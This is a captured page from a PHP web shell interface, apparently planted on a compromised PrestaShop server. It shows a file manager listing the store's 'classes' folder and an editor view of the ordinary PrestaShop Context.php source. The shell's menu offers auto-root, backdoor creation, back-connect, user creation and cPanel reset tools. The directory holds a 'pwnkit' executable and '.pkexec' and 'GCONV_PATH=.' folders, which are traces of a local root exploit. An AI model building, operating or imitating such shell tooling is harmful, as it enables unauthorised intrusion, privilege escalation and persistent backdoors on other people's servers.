Linux node5458.myfcloud.com 6.10.2-x86_64-linode165 #1 SMP PREEMPT_DYNAMIC Tue Jul 30 15:03:21 EDT 2024 x86_64
Apache
: 45.79.123.194 | : 3.15.183.165
16 Domain
7.4.33
addify5
shells.trxsecurity.org
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
Backdoor Scanner
Backdoor Create
Alfa Webshell
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
addify5 /
.trash /
classes /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
Smarty
[ DIR ]
drwxr-xr-x
assets
[ DIR ]
drwxr-xr-x
cache
[ DIR ]
drwxr-xr-x
checkout
[ DIR ]
drwxr-xr-x
container
[ DIR ]
drwxr-xr-x
controller
[ DIR ]
drwxr-xr-x
db
[ DIR ]
drwxr-xr-x
exception
[ DIR ]
drwxr-xr-x
form
[ DIR ]
drwxr-xr-x
helper
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
log
[ DIR ]
drwxr-xr-x
module
[ DIR ]
drwxr-xr-x
order
[ DIR ]
drwxr-xr-x
pdf
[ DIR ]
drwxr-xr-x
product
[ DIR ]
drwxr-xr-x
proxy
[ DIR ]
drwxr-xr-x
range
[ DIR ]
drwxr-xr-x
shop
[ DIR ]
drwxr-xr-x
stock
[ DIR ]
drwxr-xr-x
tax
[ DIR ]
drwxr-xr-x
tree
[ DIR ]
drwxr-xr-x
webservice
[ DIR ]
drwxr-xr-x
.htaccess
170
B
-rw-r--r--
.mad-root
0
B
-rw-r--r--
Access.php
13.25
KB
-rw-r--r--
Address.php
21.03
KB
-rw-r--r--
AddressChecksumCore.php
1.81
KB
-rw-r--r--
AddressFormat.php
24.54
KB
-rw-r--r--
Alias.php
4.99
KB
-rw-r--r--
Attachment.php
11.27
KB
-rw-r--r--
AttributeGroup.php
13.17
KB
-rw-r--r--
CMS.php
11.45
KB
-rw-r--r--
CMSCategory.php
23.56
KB
-rw-r--r--
CMSRole.php
1.78
KB
-rw-r--r--
CSV.php
3.04
KB
-rw-r--r--
Carrier.php
63.97
KB
-rw-r--r--
Cart.php
211.83
KB
-rw-r--r--
CartRule.php
89.84
KB
-rw-r--r--
Category.php
87
KB
-rw-r--r--
Chart.php
4.08
KB
-rw-r--r--
ChecksumInterface.php
1.22
KB
-rw-r--r--
Combination.php
17.59
KB
-rw-r--r--
Configuration.php
26.5
KB
-rw-r--r--
ConfigurationKPI.php
8.91
KB
-rw-r--r--
ConfigurationTest.php
12.02
KB
-rw-r--r--
Connection.php
10.02
KB
-rw-r--r--
ConnectionsSource.php
4.81
KB
-rw-r--r--
Contact.php
3.83
KB
-rw-r--r--
Context.php
17.94
KB
-rw-r--r--
Cookie.php
17.39
KB
-rw-r--r--
Country.php
16.33
KB
-rw-r--r--
Currency.php
36.3
KB
-rw-r--r--
Curve.php
2.92
KB
-rw-r--r--
Customer.php
52.22
KB
-rw-r--r--
CustomerAddress.php
1.26
KB
-rw-r--r--
CustomerMessage.php
5.75
KB
-rw-r--r--
CustomerSession.php
2.65
KB
-rw-r--r--
CustomerThread.php
9.62
KB
-rw-r--r--
Customization.php
13.43
KB
-rw-r--r--
CustomizationField.php
2.85
KB
-rw-r--r--
DateRange.php
2.47
KB
-rw-r--r--
Delivery.php
3.24
KB
-rw-r--r--
Dispatcher.php
46.94
KB
-rw-r--r--
Employee.php
23.5
KB
-rw-r--r--
EmployeeSession.php
2.65
KB
-rw-r--r--
Feature.php
11.38
KB
-rw-r--r--
FeatureFlag.php
3.15
KB
-rw-r--r--
FeatureValue.php
8.06
KB
-rw-r--r--
FileUploader.php
3.73
KB
-rw-r--r--
Gender.php
2.81
KB
-rw-r--r--
Group.php
14.96
KB
-rw-r--r--
GroupReduction.php
8.81
KB
-rw-r--r--
Guest.php
8.31
KB
-rw-r--r--
Hook.php
46.57
KB
-rw-r--r--
Image.php
31.24
KB
-rw-r--r--
ImageManager.php
31.79
KB
-rw-r--r--
ImageType.php
6.99
KB
-rw-r--r--
Language.php
62.06
KB
-rw-r--r--
Link.php
61.05
KB
-rw-r--r--
LocalizationPack.php
23.05
KB
-rw-r--r--
Mail.php
33.49
KB
-rw-r--r--
Manufacturer.php
21.2
KB
-rw-r--r--
ManufacturerAddress.php
1.28
KB
-rw-r--r--
Media.php
31.43
KB
-rw-r--r--
Message.php
6.47
KB
-rw-r--r--
Meta.php
18.21
KB
-rw-r--r--
Notification.php
8.27
KB
-rw-r--r--
ObjectModel.php
81.56
KB
-rw-r--r--
Pack.php
24.63
KB
-rw-r--r--
Page.php
4.49
KB
-rw-r--r--
PaymentFree.php
1.33
KB
-rw-r--r--
PaymentModule.php
59.49
KB
-rw-r--r--
PhpEncryption.php
3.21
KB
-rw-r--r--
PhpEncryptionEngine.php
3.86
KB
-rw-r--r--
PrestaShopAutoload.php
9.57
KB
-rw-r--r--
PrestaShopBackup.php
11.91
KB
-rw-r--r--
PrestaShopCollection.php
21.28
KB
-rw-r--r--
PrestaShopLogger.php
8.3
KB
-rw-r--r--
Product.php
309.01
KB
-rw-r--r--
ProductAssembler.php
6.73
KB
-rw-r--r--
ProductAttribute.php
13.48
KB
-rw-r--r--
ProductDownload.php
10.05
KB
-rw-r--r--
ProductPresenterFactory.php
3.89
KB
-rw-r--r--
ProductSale.php
12.7
KB
-rw-r--r--
ProductSupplier.php
8.34
KB
-rw-r--r--
Profile.php
8.32
KB
-rw-r--r--
QqUploadedFileForm.php
5.19
KB
-rw-r--r--
QqUploadedFileXhr.php
5.69
KB
-rw-r--r--
QuickAccess.php
6.25
KB
-rw-r--r--
RequestSql.php
20.93
KB
-rw-r--r--
Risk.php
2.36
KB
-rw-r--r--
Search.php
51.86
KB
-rw-r--r--
SearchEngine.php
2.81
KB
-rw-r--r--
SpecificPrice.php
32.43
KB
-rw-r--r--
SpecificPriceRule.php
14.04
KB
-rw-r--r--
State.php
7.77
KB
-rw-r--r--
Store.php
6.24
KB
-rw-r--r--
Supplier.php
17.89
KB
-rw-r--r--
SupplierAddress.php
1.27
KB
-rw-r--r--
Tab.php
21.7
KB
-rw-r--r--
Tag.php
13.24
KB
-rw-r--r--
Tools.php
136.37
KB
-rw-r--r--
Translate.php
11.78
KB
-rw-r--r--
TranslatedConfiguration.php
4.68
KB
-rw-r--r--
Upgrader.php
11.58
KB
-rw-r--r--
Uploader.php
10.84
KB
-rw-r--r--
Validate.php
38.87
KB
-rw-r--r--
ValidateConstraintTranslator.p...
2.55
KB
-rw-r--r--
WarehouseAddress.php
1.27
KB
-rw-r--r--
Zone.php
3.42
KB
-rw-r--r--
index.php
1.34
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Context.php
<?php /** * Copyright since 2007 PrestaShop SA and Contributors * PrestaShop is an International Registered Trademark & Property of PrestaShop SA * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.md. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://devdocs.prestashop.com/ for more information. * * @author PrestaShop SA and Contributors <contact@prestashop.com> * @copyright Since 2007 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) */ use PrestaShop\PrestaShop\Adapter\ContainerFinder; use PrestaShop\PrestaShop\Adapter\Module\Repository\ModuleRepository; use PrestaShop\PrestaShop\Adapter\SymfonyContainer; use PrestaShop\PrestaShop\Core\Exception\ContainerNotFoundException; use PrestaShop\PrestaShop\Core\Localization\CLDR\ComputingPrecision; use PrestaShop\PrestaShop\Core\Localization\Locale; use PrestaShopBundle\Bridge\AdminController\LegacyControllerBridgeInterface; use PrestaShopBundle\Install\Language as InstallLanguage; use PrestaShopBundle\Translation\TranslatorComponent as Translator; use PrestaShopBundle\Translation\TranslatorLanguageLoader; use Symfony\Component\DependencyInjection\ContainerBuilder; use Symfony\Component\DependencyInjection\ContainerInterface; use Symfony\Component\DependencyInjection\Exception\ServiceNotFoundException; use Symfony\Component\Filesystem\Filesystem; use Symfony\Component\Finder\Finder; use Symfony\Component\HttpFoundation\Session\SessionInterface; /** * Class ContextCore. * * This class is responsible for holding all basic information about the environment, * the customer, cart, currency, language etc. * * @since 1.5.0.1 */ class ContextCore { /** @var Context|null */ protected static $instance; /** @var Cart|null */ public $cart; /** @var Customer|null */ public $customer; /** @var Cookie|null */ public $cookie; /** @var SessionInterface|null */ public $session; /** @var Link|null */ public $link; /** @var Country|null */ public $country; /** @var Employee|null */ public $employee; /** @var AdminController|FrontController|LegacyControllerBridgeInterface|null */ public $controller; /** @var string */ public $override_controller_name_for_translations; /** @var Language|InstallLanguage|null */ public $language; /** @var Currency|null */ public $currency; /** * Current locale instance. * * @var Locale|null */ public $currentLocale; /** @var Tab */ public $tab; /** @var Shop|null */ public $shop; /** @var Shop */ public $tmpOldShop; /** @var Smarty|null */ public $smarty; /** @var Mobile_Detect */ public $mobile_detect; /** @var int */ public $mode; /** @var ContainerBuilder|ContainerInterface|null */ public $container; /** @var float */ public $virtualTotalTaxExcluded = 0; /** @var float */ public $virtualTotalTaxIncluded = 0; /** @var Translator */ protected $translator = null; /** @var int */ protected $priceComputingPrecision = null; /** * Mobile device of the customer. * * @var bool|null */ protected $mobile_device = null; /** @var bool|null */ protected $is_mobile = null; /** @var bool|null */ protected $is_tablet = null; /** @var int */ public const DEVICE_COMPUTER = 1; /** @var int */ public const DEVICE_TABLET = 2; /** @var int */ public const DEVICE_MOBILE = 4; /** @var int */ public const MODE_STD = 1; /** @var int */ public const MODE_STD_CONTRIB = 2; /** @var int */ public const MODE_HOST_CONTRIB = 4; /** @var int */ public const MODE_HOST = 8; /** * Sets Mobile_Detect tool object. * * @return Mobile_Detect */ public function getMobileDetect() { if ($this->mobile_detect === null) { $this->mobile_detect = new Mobile_Detect(); } return $this->mobile_detect; } /** * Checks if visitor's device is a mobile device. * * @return bool */ public function isMobile() { if ($this->is_mobile === null) { $mobileDetect = $this->getMobileDetect(); $this->is_mobile = $mobileDetect->isMobile(); } return $this->is_mobile; } /** * Checks if visitor's device is a tablet device. * * @return bool */ public function isTablet() { if ($this->is_tablet === null) { $mobileDetect = $this->getMobileDetect(); $this->is_tablet = $mobileDetect->isTablet(); } return $this->is_tablet; } /** * Sets mobile_device context variable. * * @return bool */ public function getMobileDevice() { if ($this->mobile_device === null) { $this->mobile_device = false; if ($this->checkMobileContext()) { if (isset(Context::getContext()->cookie->no_mobile) && Context::getContext()->cookie->no_mobile == false && (int) Configuration::get('PS_ALLOW_MOBILE_DEVICE') != 0) { $this->mobile_device = true; } else { switch ((int) Configuration::get('PS_ALLOW_MOBILE_DEVICE')) { case 1: // Only for mobile device if ($this->isMobile() && !$this->isTablet()) { $this->mobile_device = true; } break; case 2: // Only for touchpads if ($this->isTablet() && !$this->isMobile()) { $this->mobile_device = true; } break; case 3: // For touchpad or mobile devices if ($this->isMobile() || $this->isTablet()) { $this->mobile_device = true; } break; } } } } return $this->mobile_device; } /** * Returns mobile device type. * * @return int */ public function getDevice() { static $device = null; if ($device === null) { if ($this->isTablet()) { $device = Context::DEVICE_TABLET; } elseif ($this->isMobile()) { $device = Context::DEVICE_MOBILE; } else { $device = Context::DEVICE_COMPUTER; } } return $device; } /** * @return Locale|null */ public function getCurrentLocale() { return $this->currentLocale; } /** * Checks if mobile context is possible. * * @return bool * * @throws PrestaShopException */ protected function checkMobileContext() { // Check mobile context if (Tools::isSubmit('no_mobile_theme')) { Context::getContext()->cookie->no_mobile = true; if (Context::getContext()->cookie->id_guest) { $guest = new Guest((int) Context::getContext()->cookie->id_guest); $guest->mobile_theme = false; $guest->update(); } } elseif (Tools::isSubmit('mobile_theme_ok')) { Context::getContext()->cookie->no_mobile = false; if (Context::getContext()->cookie->id_guest) { $guest = new Guest((int) Context::getContext()->cookie->id_guest); $guest->mobile_theme = true; $guest->update(); } } return isset($_SERVER['HTTP_USER_AGENT'], Context::getContext()->cookie) && (bool) Configuration::get('PS_ALLOW_MOBILE_DEVICE') && defined('_PS_THEME_MOBILE_DIR_') && @filemtime(_PS_THEME_MOBILE_DIR_) && !Context::getContext()->cookie->no_mobile; } /** * Get a singleton instance of Context object. * * @return Context|null */ public static function getContext() { if (!isset(self::$instance)) { self::$instance = new Context(); } return self::$instance; } /** * @param Context $testInstance Unit testing purpose only */ public static function setInstanceForTesting($testInstance) { self::$instance = $testInstance; } /** * Unit testing purpose only. */ public static function deleteTestingInstance() { self::$instance = null; } /** * Clone current context object. * * @return static */ public function cloneContext() { return clone $this; } /** * Updates customer in the context, updates the cookie and writes the updated cookie. * * @param Customer $customer Created customer */ public function updateCustomer(Customer $customer) { // Update the customer in context object $this->customer = $customer; // Update basic information in the cookie $this->cookie->id_customer = (int) $customer->id; $this->cookie->customer_lastname = $customer->lastname; $this->cookie->customer_firstname = $customer->firstname; $this->cookie->passwd = $customer->passwd; $this->cookie->logged = true; $customer->logged = true; $this->cookie->email = $customer->email; // Don't confuse this with "id_guest" and Guest object, that's something completely different $this->cookie->is_guest = $customer->isGuest(); /* * If "re-display cart at login" option is enabled in Prestashop configuration, * there is no cart in previous cookie or there is, but empty, * and we managed to get that cart ID, we will re-use it. * * We don't want to flush his cart, if he made it when logged out. */ if (Configuration::get('PS_CART_FOLLOWING') && (empty($this->cookie->id_cart) || Cart::getNbProducts((int) $this->cookie->id_cart) == 0) && $idCart = (int) Cart::lastNoneOrderedCart($this->customer->id) ) { $this->cart = new Cart($idCart); $this->cart->secure_key = $customer->secure_key; $this->cookie->id_guest = (int) $this->cart->id_guest; /* * Otherwise, normal cart recovery and update scenario. */ } else { // Initialize new visit only if there is no visit identifier yet if (!$this->cookie->id_guest) { Guest::setNewGuest($this->cookie); } // If there is some cart created in the context before logging in if (Validate::isLoadedObject($this->cart)) { // We need to update the cart so it matches the customer $this->cart->secure_key = $customer->secure_key; $this->cart->id_guest = (int) $this->cookie->id_guest; // Update and revalidate the selected delivery option $idCarrier = (int) $this->cart->id_carrier; $this->cart->id_carrier = 0; if (!empty($idCarrier)) { $deliveryOption = [$this->cart->id_address_delivery => $idCarrier . ',']; $this->cart->setDeliveryOption($deliveryOption); } else { $this->cart->setDeliveryOption(null); } // Set proper customer ID and assign addresses to the cart $this->cart->id_customer = (int) $customer->id; $this->cart->updateAddressId($this->cart->id_address_delivery, (int) Address::getFirstCustomerAddressId((int) ($customer->id))); $this->cart->id_address_delivery = (int) Address::getFirstCustomerAddressId((int) ($customer->id)); $this->cart->id_address_invoice = (int) Address::getFirstCustomerAddressId((int) ($customer->id)); } } // If previous logic resolved to some cart to be used, save it and put this information to cookie if (Validate::isLoadedObject($this->cart)) { $this->cart->save(); $this->cart->autosetProductAddress(); $this->cookie->id_cart = (int) $this->cart->id; } // Physically save and send this cookie to the client $this->cookie->write(); // Register new logged in session in customer_session table $this->cookie->registerSession(new CustomerSession()); } /** * Returns a translator depending on service container availability and if the method * is called by the installer or not. * * @param bool $isInstaller Set to true if the method is called by the installer * * @return Translator */ public function getTranslator($isInstaller = false) { if (null !== $this->translator && $this->language->locale === $this->translator->getLocale()) { return $this->translator; } $sfContainer = SymfonyContainer::getInstance(); if ($isInstaller || null === $sfContainer) { // symfony's container isn't available in front office, so we load and configure the translator component $this->translator = $this->getTranslatorFromLocale($this->language->locale); } else { $this->translator = $sfContainer->get('translator'); // We need to set the locale here because in legacy BO pages, the translator is used // before the TranslatorListener does its job of setting the locale according to the Request object $this->translator->setLocale($this->language->locale); } return $this->translator; } /** * Returns a new instance of Translator for the provided locale code. * * @param string $locale IETF language tag (eg. "en-US") * * @return Translator */ public function getTranslatorFromLocale($locale) { $cacheDir = _PS_CACHE_DIR_ . 'translations'; $translator = new Translator($locale, null, $cacheDir, false); // In case we have at least 1 translated message, we return the current translator. // If some translations are missing, clear cache if (empty($locale) || count($translator->getCatalogue($locale)->all())) { return $translator; } // However, in some case, even empty catalog were stored in the cache and then used as-is. // For this one, we drop the cache and try to regenerate it. if (is_dir($cacheDir)) { $cache_file = Finder::create() ->files() ->in($cacheDir) ->depth('==0') ->name('*.' . $locale . '.*'); (new Filesystem())->remove($cache_file); } $translator->clearLanguage($locale); $adminContext = defined('_PS_ADMIN_DIR_'); // Do not load DB translations when $this->language is InstallLanguage // because it means that we're looking for the installer translations, so we're not yet connected to the DB $withDB = !$this->language instanceof InstallLanguage; $theme = $this->shop !== null ? $this->shop->theme : null; if ($this instanceof Context) { try { $containerFinder = new ContainerFinder($this); $container = $containerFinder->getContainer(); $translatorLoader = $container->get('prestashop.translation.translator_language_loader'); } catch (ContainerNotFoundException|ServiceNotFoundException $exception) { $translatorLoader = null; } if (null === $translatorLoader) { // If a container is still not found, instantiate manually the translator loader // This will happen in the Front as we have legacy controllers, the Sf container won't be available. // As we get the translator in the controller's constructor and the container is built in the init method, we won't find it here $translatorLoader = (new TranslatorLanguageLoader(new ModuleRepository(_PS_ROOT_DIR_, _PS_MODULE_DIR_))); } $translatorLoader ->setIsAdminContext($adminContext) ->loadLanguage($translator, $locale, $withDB, $theme) ; } return $translator; } /** * Returns directories that contain translation resources * * @return array */ protected function getTranslationResourcesDirectories() { // Default common translation folder $locations = [_PS_ROOT_DIR_ . '/translations']; // Translations for currently selected theme if (null !== $this->shop) { $activeThemeLocation = _PS_ROOT_DIR_ . '/themes/' . $this->shop->theme_name . '/translations'; if (is_dir($activeThemeLocation)) { $locations[] = $activeThemeLocation; } } return $locations; } /** * Returns the computing precision according to the current currency. * If previously requested, it will be stored in priceComputingPrecision property. * * @return int */ public function getComputingPrecision() { if ($this->priceComputingPrecision === null) { $computingPrecision = new ComputingPrecision(); $this->priceComputingPrecision = $computingPrecision->getPrecision($this->currency->precision); } return $this->priceComputingPrecision; } }
Close